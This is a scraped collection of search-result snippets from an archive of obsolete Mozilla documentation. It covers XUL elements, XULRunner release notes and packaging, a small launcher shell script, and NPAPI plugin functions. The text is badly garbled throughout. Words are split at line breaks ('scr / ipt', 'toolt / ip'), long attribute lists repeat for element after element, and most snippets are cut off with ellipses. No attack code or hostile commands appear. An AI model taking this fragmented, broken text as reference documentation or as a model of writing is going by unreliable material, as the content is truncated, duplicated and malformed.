iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
spacer - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
spinbuttons - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
stack - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
stringbundleset - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
tabpanel - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
tabpanels - Archive of obsolete content
selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. ret...
... selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 i...
template - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
textnode - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
treechildren - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
treerow - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
treeseparator - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
vbox - Archive of obsolete content
container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
stem requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using a archive tool (7z
ip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.1 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the instal...
...ng xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner windows/linux from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version. to remove all installed versions of xulrunner, remove the /library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi. sample applications are availabl...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
em requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.4 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the insta...
...ner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a command prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version. to remove all installed versions of xulrunner, remove the /library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi. sample applications are availa...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
stem requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9.1 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the install...
...nner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a command prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version. to remove all installed versions of xulrunner, remove the /library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi. sample applications are availabl...
XULRunner 1.9 Release Notes - Archive of obsolete content
em requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the z
ip file to a new directory using an archive tool (7z
ip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer...
...ner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. windows from a command prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation. remove the xulrunner directory. mac os x if you have mult
iple versions of xulrunner installed on mac os x, it is not possible to uninstall only one version. to remove all installed versions of xulrunner, remove the /library/frameworks/xul.framework directory. installing xul applications xul applications can be obtained from various sources, and are typically packaged as a z
ip archive with the extension .xulapp or .xpi. sample applications are availa...
MacFAQ - Archive of obsolete content
debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <scr
ipt type="application/javascr
ipt" src="chrome://global/content/nsusersettings.js" /> <scr
ipt><![cdata[ function debug(alogstring) { var mconsoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) mconsoleservice.logstringmessage("myxul: " + alogstring + "\n"); } function checkoth...
...aces.nsicommandline); for (var i = 0; i < cmdline.length; ++i) { debug(cmdline.getargument(i)) } } catch(ex) { debug(window.arguments[0]) // do something with window.arguments[0] //nspreferences.setunicharpref("myxul.cmdlinevalue", window.arguments[0]) } window.addeventlistener("load", checkotherwindows , false); } ]]></scr
ipt> </window> ...
XUL Application Packaging - Archive of obsolete content
they can be installed to xulrunner with a command line flag "--install-app" if xulrunner is registered on the system. see command line options for more details. note: for instructions on deploying your applications see deploying xulrunner. ...
...nd 0. optional - default is 0 note: this option does not add menu items that make the extension/theme manager available in the ui; that is the responsibility of the application author. example: enableextensionmanager=1 enableprofilemigrator specifies whether, when the application is launched for the first time and there are no profiles, to enable profile migration code through the ns
iprofilemigrator interface. legal values are 1 and 0. optional - default is 0 note: the application author is responsible for implementing the ns
iprofilemigrator interface; if an implementation is not found no migration will be performed. example: enableprofilemigrator=1 the [crash reporting] section using crash reporting in a xulrunner application ...
xulauncher - Archive of obsolete content
#!/bin/bash -e # a simple bash scr
ipt to create a minimal xulrunner dir structure and # needed meta files in /tmp, copy the xul-file over and start it # usage: # xulauncher xulfile.xul [options] ############################################################################## # check if theres atleast one parameter ############################################################################## if [ $# -lt 1 ] then echo "you need to give the xul file as first parameter" exit fi # check if 1st parameter is a file ############################################################################## if [ ! -f "$1" ] then echo "\"$1\" is not a file" exit fi # define some variables ############################################################################## wd=/tmp ext=".xul" xulfile=`ba...
...########################################################################## echo " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascr
ipt.options.showinconsole\", true); pref(\"javascr
ipt.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it ############################################################################## cp $xulfile $xuldir xulrunner $xulappini $@ ...
XULRunner - Archive of obsolete content
tions that are as rich as firefox and thunderbird. it provides mechanisms for installing, upgrading, and uninstalling these applications. xulrunner also provides libxul, a solution which allows the embedding of mozilla technologies in other projects and products. releases until version 41, xulrunner could be downloaded from ftp.mozilla.org. firefox (from version 3) sh
ips with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available. overview development plan what xulrunner provides xulrunner faq nightly builds: unstable-trunk documentation getting s...
... development plan what xulrunner provides xulrunner faq nightly builds: unstable-trunk documentation getting started with xulrunner short tutorial on building desktop applications with xulrunner. xul tutorial once you have a working xulrunner application, use the xul tutorial to expand it into a fantastic xul application. xulrunner t
ips a collection of t
ips for working with xulrunner. deploying xulrunner an introduction on how to package your application with xulrunner. xulrunner hall of fame tracks all available applications based on xulrunner. build documentation learn how to get the source and build it. debug documentation steps to configure venkman to debug your app xulrunne...
application/http-index-format specification - Archive of obsolete content
syntax every line in the file must conform to the following generic syntax: number: data where number is at least a three digit number (note that more digits are possible in the future) and data is separated from number by a colon and a space. the syntax of data is defined by the syntax spec for every number type. if a number is encountered that a parser does not understand the parser is required to ignore that line. there is no line length limit. ...
...iewing data drawn from the file. this data should be parsed as html. 200 defines the field names for the 201 file index code. a valid 200 line consists of one or more white space separated tokens that describe the name or purpose of the associated column of data. tokens may not contain spaces. any illegal characters must be escaped via the url escaping syntax defined by rfc 1738. note that mult
iple 200 lines override previous 200 lines. 201 data whose definition stems from a prior 200 line. a valid 201 line consists of one or more white space separated tokens that represent data described by a previous 200 line. tokens may be quoted or unquoted. unquoted tokens may not contain white space. quoted tokens are terminated by the next quote but may not contain carrage returns or new lines. ...
calIFileType - Archive of obsolete content
summary the califiletype interface provides information about a specific file type. califiletype is used in caliimporter and caliexporter to determine which file types are supported for import/export. status: unfrozen. ...
...liimporter and caliexporter to determine which file types are supported for import/export. status: unfrozen. defined in calendar/base/public/caliimportexport.idl interface code [scr
iptable, uuid(efef8333-e995-4f45-bdf7-bfcabbd9793e)] interface califiletype : nsisupports { readonly attribute astring defaultextension; readonly attribute astring extensionfilter; readonly attribute astring descr
iption; }; attributes defaultextension the default extension that should be associated with files of this type. extensionfilter the extension filter to use in the filepicker's filter list. separate mult
iple extensions with semicolon and space. descr
iption the descr
iption to show to the user in the filter list. methods none. related interfaces caliimporter caliexporter example code see calhtmlexport...
NPEvent - Archive of obsolete content
unix/x11 npevent is defined as an xevent data structure, which is a union of a number of different x11 event structures. type the type member is an int representing an event type, and indicating which structure is relevant. the event type may be any of the ollowing: graphicsexpose focusin focusout enternotify leavenotify motionnotify buttonpress buttonrelease keypress keyrelease descr
iption microsoft windows descr
iption the type npevent represents an event passed by npp_handleevent() to a windowless plug-in. for information about these events, see your microsoft windows documentation. mac os descr
iption the npevent object represents an event passed by npp_handleevent() to a windowless plug-in. this structure is defined as eventrecord, the event type used by mac os. on mac os, p...
... move the focus. no key events are sent to the instance until the next getfocusevent. adjustcursorevent: sent when the mouse enters or leaves the bounds of the instance. if your plug-in wants to set the cursor when the mouse is within the instance, set the cursor and return true. if you don't want a special cursor, return false and the browser will use the standard arrow cursor. xwindows descr
iption the npevent object represents an event passed by npp_handleevent() to a windowless plug-in. the npevent structure is defined as xevent, the definition of the event type used by the xwindows platform. for information about the xevent structure and xwindows events, see the xwindows documentation. as the xevents sent to the plug-in are synthesized and there is not a native window corresponding t...
NPN_CreateObject - Archive of obsolete content
if no allocate function is provided, malloc() is called to allocate enough memory to hold an npobject. ...
...if no allocate function is provided, malloc() is called to allocate enough memory to hold an npobject. ...
NPN_GetStringIdentifiers - Archive of obsolete content
<< gecko plugin api reference << scr
ipting plugins summary returns an array of opaque identifiers for the names that are passed in. syntax #include <npruntime.h> void npn_getstringidentifiers(const nputf8 **names, int32_t namecount, npidentifier *identifiers); parameters the function has the following parameters: names an array of strings for which opaque identifiers should be returned. namecount the number of strings in the names array. identifiers a pointer to the first element of an array to fill with the identifiers for the strings specified by names. returns on return, the identifiers array is filled out with the identifiers for each of the strings in the names array. ...
...the following parameters: names an array of strings for which opaque identifiers should be returned. namecount the number of strings in the names array. identifiers a pointer to the first element of an array to fill with the identifiers for the strings specified by names. returns on return, the identifiers array is filled out with the identifiers for each of the strings in the names array. descr
iption as is the case with npn_getstringidentifier(), all calls for the same strings are guaranteed to return the same exact identifiers. ...
NPN_GetURLNotify - Archive of obsolete content
stance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of several special target names. for values, see npn_geturl(). ...
...special target names. for values, see npn_geturl(). notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, which passes this value (see descr
iption below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. descr
iption npn_geturlnotify() works just like npn_geturl(), with one exception: npn_geturlnotify() notifies the plug-in instance upon successful or unsuccessful completion of the request by calling the plug-in's npp_urlnotify() function and passing it the notifydata value. npn_geturlnotify() typically handles the url request asynchronously. it returns immediately and only later handles the request and...
NPN_GetValue - Archive of obsolete content
: npnvxdisplay =1: unix only: returns the current display npnvxtappcontext: unix only: returns the application's xtappcontext npnvnetscapewindow: ms windows and unix/x11 only: ms windows: gets the native window on which plug-in drawing occurs; returns hwnd unix/x11: gets the browser toplevel window in which the plug-in is displayed; returns window npnvjavascr
iptenabledbool: tells whether javascr
ipt is enabled; true=javascr
ipt enabled, false=not enabled npnvasdenabledbool: tells whether smartupdate (former name: asd) is enabled; true=smartupdate enabled, false=not enabled npnvisofflinebool: tells whether offline mode is enabled; true=offline mode enabled, false=not enabled npnvtoolkit: npnvsupportsxembedbool: npnvwindownpobject: returns th...
...rns the name of the plug-in in the value parameter. gecko 1.9.2 note starting with gecko 1.9.2 (firefox 3.6), the variables npnvservicemanager, npnvdomelement, and npnvdomwindow are no longer supported. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. descr
iption npn_getvalue returns the browser information set with npn_setvalue. the queried information is returned in the value parameter. unix the platform-specific values for this parameter are npnvxdisplay (the current display), npnvxtappcontext (the browser's xtappcontext), and npnvnetscapewindow (the browser toplevel window in which the plugin is displayed). you can use npnvnetscapewindow to obtain...
NPN_GetValueForURL - Archive of obsolete content
f information to be retrieved (npnurlvcookie or npnurlvproxy) url the url for which to fetch information. value out parameter. the browser passes back the requested information. if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for freeing the buffer. note: the value may have internal null bytes and may not be null-terminated. ...
...ull bytes and may not be null-terminated. when mult
iple cookies are returned for a given url, the format of the return value is: cookie1=value1;cookie2=value2;cookie3=value3 len out parameter. the length of the returned value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. descr
iption this entry point is designed to allow plugins which implement their own http stacks to form requests to the web server in the same way the browser does. see also npn_setvalueforurl, npn_getauthenticationinfo ...
NPN_Invoke - Archive of obsolete content
syntax #include <npruntime.h> bool npn_invoke(npp npp, npobject *npobj, npidentifier methodname, const npvariant *args, uint32_t argcount, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin wants to call the method on the object. npobj the object on which to invoke a method. methodname a string identifier indicating the name of the method to invoke. args an array of arguments to pass to the method. argcount the number of arguments in the args array. result a pointer to an npvariant to receive the result returned by the method. ...
...he number of arguments in the args array. result a pointer to an npvariant to receive the result returned by the method. returns true if the method was successfully invoked, otherwise false. if the method was invoked successfully, any return value is stored in the npvariant specified by result. when the caller no longer needs the result, it must call npn_releasevariantvalue() to release it. descr
iption the method arguments are passed as an array of npvariants, and the number of arguments is passed in. the result of the method invocation is returned through an npvariant result parameter. if the method invocation succeeds, npn_invoke() returns true, else false. note: early on in the development of the scr
iptability api this method used to be called npn_call() but was renamed for consistency. ...
NPN_InvokeDefault - Archive of obsolete content
